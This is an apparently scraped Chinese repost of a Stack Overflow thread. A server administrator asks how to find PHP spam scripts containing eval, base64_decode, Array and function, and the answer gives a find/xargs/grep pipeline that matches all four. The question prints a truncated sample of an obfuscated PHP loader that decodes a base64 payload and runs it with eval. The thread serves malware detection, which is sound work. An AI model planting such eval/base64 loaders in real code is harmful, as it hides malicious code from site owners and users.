gpt4 book ai didi

php - 查找具有 4 种模式的 php 文件

转载 作者:太空宇宙 更新时间:2023-11-04 12:56:46 27 4
gpt4 key购买 nike

我需要在 linux 服务器上找到具有完全相同的 4 种模式的 php 脚本。

文件需要有 4 个模式/单词,而不仅仅是一两个...

模式:

  • 评估
  • base64_解码
  • 数组
  • 功能

我需要它来查找编码的垃圾邮件脚本。

我已经用 find 试过了,但我不知道如何匹配准确的 4 种模式

像这样:

<?php
function isanrl($nhfxslsmo, $rrkiu){$m = ''; for($i=0; $i < strlen($nhfxslsmo); $i++){$m .= isset($rrkiu[$nhfxslsmo[$i]]) ? $rrkiu[$nhfxslsmo[$i]] : $nhfxslsmo[$i];}
$dbklusmzx="base64_decode";return $dbklusmzx($m);}
$mpvqrt = 'XLgWYavbkPXhdna5ruv5PnoVk5rNSZea4Z1FK1FIYpeFPqBgx8f76Lv7Pna5ruv5r5rNSsIFK1F'.
'IYpeFPqBgx8f76pi9Pna9kpB2xLgV6gv3Yp2gd51fm8DG8DzbkPRJxLg0kavNYp2Fx8f1C'.
'4NC8uguCLgbrna3C8RJU3awaDawCwDCT1hddiv4RadpRad6d2zSUiv4RUoLd23fHwIMA5SGSIhddiv4R'.
'C8wR5kPB6S7SMPaNMjMdxSs3fdLdEksNC8PdgxQa56MzMjPBgBcRJkpec6nRgCQBgrugE6LgtkwfDruabCwDG873'.
'=';
$qqkghzt = Array('1'=>'w', '0'=>'t', '3'=>'0', '2'=>'1', '5'=>'y', '4'=>'T', '7'=>'n', '6'=>'b', '9'=>'4', '8'=>'C', 'A'=>'L', 'C'=>'K', 'B'=>'N', 'E'=>'h', 'D'=>'k$
eval(isanrl($mpvqrt, $qqkghzt));?>

最佳答案

这将列出当前目录(包括子目录)中包含所有四种模式的所有 .php 文件(假设文件名中没有空格或有趣的字符):

find * -name "*.php" -print0 |
xargs grep -Zl eval |
xargs grep -Zl base64_decode |
xargs grep -Zl Array |
xargs grep -l function

(find -print0grep -Z 选项用于处理任何带有空格或有趣字符的路径。)

关于php - 查找具有 4 种模式的 php 文件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/35537145/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com